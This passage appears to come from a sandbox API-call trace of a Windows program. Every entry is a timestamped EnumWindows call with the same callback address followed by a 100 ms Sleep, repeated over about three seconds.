EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.769] Sleep (dwMilliseconds=0x64) [0282.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.770] Sleep (dwMilliseconds=0x64) [0282.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.773] Sleep (dwMilliseconds=0x64) [0282.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.775] Sleep (dwMilliseconds=0x64) [0282.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.777] Sleep (dwMilliseconds=0x64) [0282.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.779] Sleep (dwMilliseconds=0x64) [0282.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.781] Sleep (dwMilliseconds=0x64) [0282.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.794] Sleep (dwMilliseconds=0x64) [0282.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.854] Sleep (dwMilliseconds=0x64) [0282.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.915] Sleep (dwMilliseconds=0x64) [0282.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.917] Sleep (dwMilliseconds=0x64) [0282.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.919] Sleep (dwMilliseconds=0x64) [0282.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.920] Sleep (dwMilliseconds=0x64) [0282.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.922] Sleep (dwMilliseconds=0x64) [0282.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.937] Sleep (dwMilliseconds=0x64) [0282.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.951] Sleep (dwMilliseconds=0x64) [0282.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.000] Sleep (dwMilliseconds=0x64) [0283.060] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.060] Sleep (dwMilliseconds=0x64) [0283.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.063] Sleep (dwMilliseconds=0x64) [0283.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.064] Sleep (dwMilliseconds=0x64) [0283.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.066] Sleep (dwMilliseconds=0x64) [0283.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.068] Sleep (dwMilliseconds=0x64) [0283.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.070] Sleep (dwMilliseconds=0x64) [0283.071] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.071] Sleep (dwMilliseconds=0x64) [0283.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.073] Sleep (dwMilliseconds=0x64) [0283.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.075] Sleep (dwMilliseconds=0x64) [0283.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.077] Sleep (dwMilliseconds=0x64) [0283.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.091] Sleep (dwMilliseconds=0x64) [0283.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.143] Sleep (dwMilliseconds=0x64) [0283.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.201] Sleep (dwMilliseconds=0x64) [0283.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.203] Sleep (dwMilliseconds=0x64) [0283.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.205] Sleep (dwMilliseconds=0x64) [0283.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.207] Sleep (dwMilliseconds=0x64) [0283.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.209] Sleep (dwMilliseconds=0x64) [0283.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.211] Sleep (dwMilliseconds=0x64) [0283.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.213] Sleep (dwMilliseconds=0x64) [0283.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.215] Sleep (dwMilliseconds=0x64) [0283.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.216] Sleep (dwMilliseconds=0x64) [0283.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.218] Sleep (dwMilliseconds=0x64) [0283.219] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.219] Sleep (dwMilliseconds=0x64) [0283.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.221] Sleep (dwMilliseconds=0x64) [0283.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.224] Sleep (dwMilliseconds=0x64) [0283.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.225] Sleep (dwMilliseconds=0x64) [0283.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.227] Sleep (dwMilliseconds=0x64) [0283.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.229] Sleep (dwMilliseconds=0x64) [0283.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.231] Sleep (dwMilliseconds=0x64) [0283.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.275] Sleep (dwMilliseconds=0x64) [0283.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.339] Sleep (dwMilliseconds=0x64) [0283.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.341] Sleep (dwMilliseconds=0x64) [0283.342] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.343] Sleep (dwMilliseconds=0x64) [0283.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.344] Sleep (dwMilliseconds=0x64) [0283.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.377] Sleep (dwMilliseconds=0x64) [0283.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.494] Sleep (dwMilliseconds=0x64) [0283.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.496] Sleep (dwMilliseconds=0x64) [0283.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.548] Sleep (dwMilliseconds=0x64) [0283.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.556] Sleep (dwMilliseconds=0x64) [0283.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.646] Sleep (dwMilliseconds=0x64) [0283.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.663] Sleep (dwMilliseconds=0x64) [0283.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.671] Sleep (dwMilliseconds=0x64) [0283.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.676] Sleep (dwMilliseconds=0x64) [0283.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.678] Sleep (dwMilliseconds=0x64) [0283.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.680] Sleep (dwMilliseconds=0x64) [0283.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.682] Sleep (dwMilliseconds=0x64) [0283.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.684] Sleep (dwMilliseconds=0x64) [0283.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.686] Sleep (dwMilliseconds=0x64) [0283.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.687] Sleep (dwMilliseconds=0x64) [0283.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.689] Sleep (dwMilliseconds=0x64) [0283.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.690] Sleep (dwMilliseconds=0x64) [0283.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.692] Sleep (dwMilliseconds=0x64) [0283.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.693] Sleep (dwMilliseconds=0x64) [0283.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.843] Sleep (dwMilliseconds=0x64) [0283.890] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.891] Sleep (dwMilliseconds=0x64) [0283.893] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.893] Sleep (dwMilliseconds=0x64) [0283.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.895] Sleep (dwMilliseconds=0x64) [0283.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.897] Sleep (dwMilliseconds=0x64) [0283.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.899] Sleep (dwMilliseconds=0x64) [0283.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.900] Sleep (dwMilliseconds=0x64) [0283.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.902] Sleep (dwMilliseconds=0x64) [0283.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.904] Sleep (dwMilliseconds=0x64) [0283.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.905] Sleep (dwMilliseconds=0x64) [0283.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.907] Sleep (dwMilliseconds=0x64) [0283.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.908] Sleep (dwMilliseconds=0x64) [0283.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.910] Sleep (dwMilliseconds=0x64) [0283.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.911] Sleep (dwMilliseconds=0x64) [0283.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.913] Sleep (dwMilliseconds=0x64) [0283.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.915] Sleep (dwMilliseconds=0x64) [0283.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.916] Sleep (dwMilliseconds=0x64) [0283.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.918] Sleep (dwMilliseconds=0x64) [0283.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.919] Sleep (dwMilliseconds=0x64) [0283.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.921] Sleep (dwMilliseconds=0x64) [0283.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0283.979] Sleep (dwMilliseconds=0x64) [0284.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.029] Sleep (dwMilliseconds=0x64) [0284.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.031] Sleep (dwMilliseconds=0x64) [0284.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.033] Sleep (dwMilliseconds=0x64) [0284.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.034] Sleep (dwMilliseconds=0x64) [0284.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.036] Sleep (dwMilliseconds=0x64) [0284.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.037] Sleep (dwMilliseconds=0x64) [0284.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.039] Sleep (dwMilliseconds=0x64) [0284.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.041] Sleep (dwMilliseconds=0x64) [0284.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.043] Sleep (dwMilliseconds=0x64) [0284.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.044] Sleep (dwMilliseconds=0x64) [0284.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.046] Sleep (dwMilliseconds=0x64) [0284.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.048] Sleep (dwMilliseconds=0x64) [0284.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.050] Sleep (dwMilliseconds=0x64) [0284.052] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.053] Sleep (dwMilliseconds=0x64) [0284.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.055] Sleep (dwMilliseconds=0x64) [0284.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.057] Sleep (dwMilliseconds=0x64) [0284.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.059] Sleep (dwMilliseconds=0x64) [0284.115] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.116] Sleep (dwMilliseconds=0x64) [0284.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.168] Sleep (dwMilliseconds=0x64) [0284.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.173] Sleep (dwMilliseconds=0x64) [0284.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.176] Sleep (dwMilliseconds=0x64) [0284.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.178] Sleep (dwMilliseconds=0x64) [0284.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.180] Sleep (dwMilliseconds=0x64) [0284.193] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.194] Sleep (dwMilliseconds=0x64) [0284.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.203] Sleep (dwMilliseconds=0x64) [0284.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.243] Sleep (dwMilliseconds=0x64) [0284.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.262] Sleep (dwMilliseconds=0x64) [0284.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.334] Sleep (dwMilliseconds=0x64) [0284.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.344] Sleep (dwMilliseconds=0x64) [0284.346] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.346] Sleep (dwMilliseconds=0x64) [0284.348] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.348] Sleep (dwMilliseconds=0x64) [0284.352] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.352] Sleep (dwMilliseconds=0x64) [0284.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.356] Sleep (dwMilliseconds=0x64) [0284.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.359] Sleep (dwMilliseconds=0x64) [0284.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.361] Sleep (dwMilliseconds=0x64) [0284.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.363] Sleep (dwMilliseconds=0x64) [0284.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.396] Sleep (dwMilliseconds=0x64) [0284.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.513] Sleep (dwMilliseconds=0x64) [0284.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.515] Sleep (dwMilliseconds=0x64) [0284.516] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.517] Sleep (dwMilliseconds=0x64) [0284.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.518] Sleep (dwMilliseconds=0x64) [0284.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.520] Sleep (dwMilliseconds=0x64) [0284.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.521] Sleep (dwMilliseconds=0x64) [0284.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.523] Sleep (dwMilliseconds=0x64) [0284.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.524] Sleep (dwMilliseconds=0x64) [0284.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.526] Sleep (dwMilliseconds=0x64) [0284.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.527] Sleep (dwMilliseconds=0x64) [0284.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.529] Sleep (dwMilliseconds=0x64) [0284.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.530] Sleep (dwMilliseconds=0x64) [0284.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.533] Sleep (dwMilliseconds=0x64) [0284.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.535] Sleep (dwMilliseconds=0x64) [0284.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.537] Sleep (dwMilliseconds=0x64) [0284.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.539] Sleep (dwMilliseconds=0x64) [0284.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.540] Sleep (dwMilliseconds=0x64) [0284.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.542] Sleep (dwMilliseconds=0x64) [0284.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.559] Sleep (dwMilliseconds=0x64) [0284.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.652] Sleep (dwMilliseconds=0x64) [0284.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.654] Sleep (dwMilliseconds=0x64) [0284.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.656] Sleep (dwMilliseconds=0x64) [0284.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.657] Sleep (dwMilliseconds=0x64) [0284.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.659] Sleep (dwMilliseconds=0x64) [0284.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.660] Sleep (dwMilliseconds=0x64) [0284.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.662] Sleep (dwMilliseconds=0x64) [0284.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.663] Sleep (dwMilliseconds=0x64) [0284.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.665] Sleep (dwMilliseconds=0x64) [0284.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.666] Sleep (dwMilliseconds=0x64) [0284.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.668] Sleep (dwMilliseconds=0x64) [0284.669] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.669] Sleep (dwMilliseconds=0x64) [0284.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.671] Sleep (dwMilliseconds=0x64) [0284.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.672] Sleep (dwMilliseconds=0x64) [0284.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.674] Sleep (dwMilliseconds=0x64) [0284.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.675] Sleep (dwMilliseconds=0x64) [0284.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.677] Sleep (dwMilliseconds=0x64) [0284.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.678] Sleep (dwMilliseconds=0x64) [0284.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.680] Sleep (dwMilliseconds=0x64) [0284.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.681] Sleep (dwMilliseconds=0x64) [0284.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.686] Sleep (dwMilliseconds=0x64) [0284.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.782] Sleep (dwMilliseconds=0x64) [0284.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.793] Sleep (dwMilliseconds=0x64) [0284.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.801] Sleep (dwMilliseconds=0x64) [0284.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.810] Sleep (dwMilliseconds=0x64) [0284.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.833] Sleep (dwMilliseconds=0x64) [0284.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.936] Sleep (dwMilliseconds=0x64) [0284.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.989] Sleep (dwMilliseconds=0x64) [0284.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0284.998] Sleep (dwMilliseconds=0x64) [0285.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.008] Sleep (dwMilliseconds=0x64) [0285.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.010] Sleep (dwMilliseconds=0x64) [0285.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.012] Sleep (dwMilliseconds=0x64) [0285.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.013] Sleep (dwMilliseconds=0x64) [0285.015] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.016] Sleep (dwMilliseconds=0x64) [0285.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.020] Sleep (dwMilliseconds=0x64) [0285.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.103] Sleep (dwMilliseconds=0x64) [0285.113] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.113] Sleep (dwMilliseconds=0x64) [0285.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.140] Sleep (dwMilliseconds=0x64) [0285.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.141] Sleep (dwMilliseconds=0x64) [0285.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.143] Sleep (dwMilliseconds=0x64) [0285.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.145] Sleep (dwMilliseconds=0x64) [0285.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.147] Sleep (dwMilliseconds=0x64) [0285.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.148] Sleep (dwMilliseconds=0x64) [0285.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.150] Sleep (dwMilliseconds=0x64) [0285.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.151] Sleep (dwMilliseconds=0x64) [0285.153] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.153] Sleep (dwMilliseconds=0x64) [0285.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.154] Sleep (dwMilliseconds=0x64) [0285.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.156] Sleep (dwMilliseconds=0x64) [0285.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.157] Sleep (dwMilliseconds=0x64) [0285.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.159] Sleep (dwMilliseconds=0x64) [0285.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.160] Sleep (dwMilliseconds=0x64) [0285.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.162] Sleep (dwMilliseconds=0x64) [0285.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.164] Sleep (dwMilliseconds=0x64) [0285.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.166] Sleep (dwMilliseconds=0x64) [0285.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.167] Sleep (dwMilliseconds=0x64) [0285.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.169] Sleep (dwMilliseconds=0x64) [0285.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.230] Sleep (dwMilliseconds=0x64) [0285.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.282] Sleep (dwMilliseconds=0x64) [0285.283] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.284] Sleep (dwMilliseconds=0x64) [0285.285] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.285] Sleep (dwMilliseconds=0x64) [0285.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.288] Sleep (dwMilliseconds=0x64) [0285.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.289] Sleep (dwMilliseconds=0x64) [0285.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.291] Sleep (dwMilliseconds=0x64) [0285.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.292] Sleep (dwMilliseconds=0x64) [0285.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.294] Sleep (dwMilliseconds=0x64) [0285.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.295] Sleep (dwMilliseconds=0x64) [0285.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.297] Sleep (dwMilliseconds=0x64) [0285.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.298] Sleep (dwMilliseconds=0x64) [0285.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.300] Sleep (dwMilliseconds=0x64) [0285.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.301] Sleep (dwMilliseconds=0x64) [0285.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.303] Sleep (dwMilliseconds=0x64) [0285.306] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.306] Sleep (dwMilliseconds=0x64) [0285.320] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.320] Sleep (dwMilliseconds=0x64) [0285.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.391] Sleep (dwMilliseconds=0x64) [0285.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.404] Sleep (dwMilliseconds=0x64) [0285.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.474] Sleep (dwMilliseconds=0x64) [0285.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.486] Sleep (dwMilliseconds=0x64) [0285.488] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.488] Sleep (dwMilliseconds=0x64) [0285.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.490] Sleep (dwMilliseconds=0x64) [0285.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.492] Sleep (dwMilliseconds=0x64) [0285.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.494] Sleep (dwMilliseconds=0x64) [0285.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.496] Sleep (dwMilliseconds=0x64) [0285.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.498] Sleep (dwMilliseconds=0x64) [0285.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.499] Sleep (dwMilliseconds=0x64) [0285.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.501] Sleep (dwMilliseconds=0x64) [0285.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.503] Sleep (dwMilliseconds=0x64) [0285.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.585] Sleep (dwMilliseconds=0x64) [0285.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.620] Sleep (dwMilliseconds=0x64) [0285.622] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.622] Sleep (dwMilliseconds=0x64) [0285.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.624] Sleep (dwMilliseconds=0x64) [0285.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.626] Sleep (dwMilliseconds=0x64) [0285.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.628] Sleep (dwMilliseconds=0x64) [0285.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.630] Sleep (dwMilliseconds=0x64) [0285.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.632] Sleep (dwMilliseconds=0x64) [0285.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0285.639] Sleep (dwMilliseconds=0x64) 